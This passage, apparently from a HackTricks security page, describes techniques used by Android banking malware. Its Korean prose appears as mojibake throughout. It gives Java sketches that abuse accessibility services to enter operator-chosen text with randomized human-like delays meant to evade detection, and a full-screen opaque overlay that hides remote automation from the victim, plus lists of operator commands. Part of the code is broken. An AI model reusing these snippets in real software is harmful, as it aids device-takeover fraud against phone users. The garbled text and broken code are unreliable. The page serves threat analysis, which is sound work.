ACTION_PASTE๋ก ํฌ์ปค์ค๋ ๋ ธ๋์ ๋ถ์ฌ๋ฃ๊ธฐ(์ง์ setText๊ฐ ์ฐจ๋จ๋ ๋ ์๋). - Human-like cadence: ์ด์์๊ฐ ์ ๊ณตํ ๋ฌธ์์ด์ ๋ถํ ํด ์ด๋ฒคํธ ์ฌ์ด์ ๋ฌด์์ํ๋ 300โ3000 ms ์ง์ฐ์ผ๋ก ๋ฌธ์ ๋จ์๋ก ์ ๋ฌํ์ฌ โmachine-speed typingโ ํด๋ฆฌ์คํฑ์ ํํผํฉ๋๋ค. ๊ตฌํ์
ACTION_SET_TEXT๋ก ๊ฐ์ ์ ์ง์ ์ผ๋ก ๋๋ฆฌ๊ฑฐ๋ ํ ๋ฌธ์์ฉ ๋ถ์ฌ๋ฃ๊ธฐ๋ก ํ ์ ์์ต๋๋ค.
Java ์ค์ผ์น: ๋ ธ๋ ๊ฒ์ + setText ๋๋ clipboard+paste๋ฅผ ํตํ ๋ฌธ์๋ณ ์ง์ฐ ์ ๋ ฅ
```java // Enumerate nodes (HVNCA11Y-like): text, id, desc, hint, bounds void discover(AccessibilityNodeInfo r, List// Mode 1: progressively set text with randomized 300โ3000 ms delays void sendTextSetText(AccessibilityNodeInfo field, String s) throws InterruptedException{ String cur = โโ; for (char c: s.toCharArray()){ cur += c; Bundle b=new Bundle(); b.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, cur); field.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, b); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }
// Mode 2: clipboard + paste per-char with randomized delays void sendTextPaste(AccessibilityService svc, AccessibilityNodeInfo field, String s) throws InterruptedException{ field.performAction(AccessibilityNodeInfo.ACTION_FOCUS); ClipboardManager cm=(ClipboardManager) svc.getSystemService(Context.CLIPBOARD_SERVICE); for (char c: s.toCharArray()){ cm.setPrimaryClip(ClipData.newPlainText(โxโ, Character.toString(c))); field.performAction(AccessibilityNodeInfo.ACTION_PASTE); Thread.sleep(300 + new java.util.Random().nextInt(2701)); } }
</details>
์ฌ๊ธฐ ์ํ์ฉ ์ฐจ๋จ ์ค๋ฒ๋ ์ด:
- ์ ์ฒด ํ๋ฉด `TYPE_ACCESSIBILITY_OVERLAY`๋ฅผ ๋ ๋๋งํ๊ณ ์ด์์๊ฐ ์ ์ดํ๋ ๋ถํฌ๋ช
๋๋ฅผ ์ ์ฉ; ์๊ฒฉ ์๋ํ๊ฐ ๋ฐฐ๊ฒฝ์์ ์งํ๋๋ ๋์ ํผํด์์๊ฒ๋ ๋ถํฌ๋ช
ํ๊ฒ ์ ์ง.
- ์ผ๋ฐ์ ์ผ๋ก ๋
ธ์ถ๋๋ ๋ช
๋ น: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.
์กฐ์ ๊ฐ๋ฅํ ์ํ ๊ฐ์ ๊ฐ์ง ์ต์ ์ค๋ฒ๋ ์ด:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);
์์ฃผ ๊ด์ฐฐ๋๋ ์คํผ๋ ์ดํฐ ์ ์ด ํ๋ฆฌ๋ฏธํฐ๋ธ: BACK, HOME, RECENTS, CLICKTXT/CLICKDESC/CLICKELEMENT/CLICKHINT, TAP/SWIPE, NOTIFICATIONS, OPNPKG, VNC/VNCA11Y (screen sharing).
์ฐธ๊ณ ์๋ฃ
-
New Android Malware Herodotus Mimics Human Behaviour to Evade Detection
-
Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)
-
The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
-
GhostTap/NFSkate โ NFC relay cash-out tactic (ThreatFabric)
-
Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


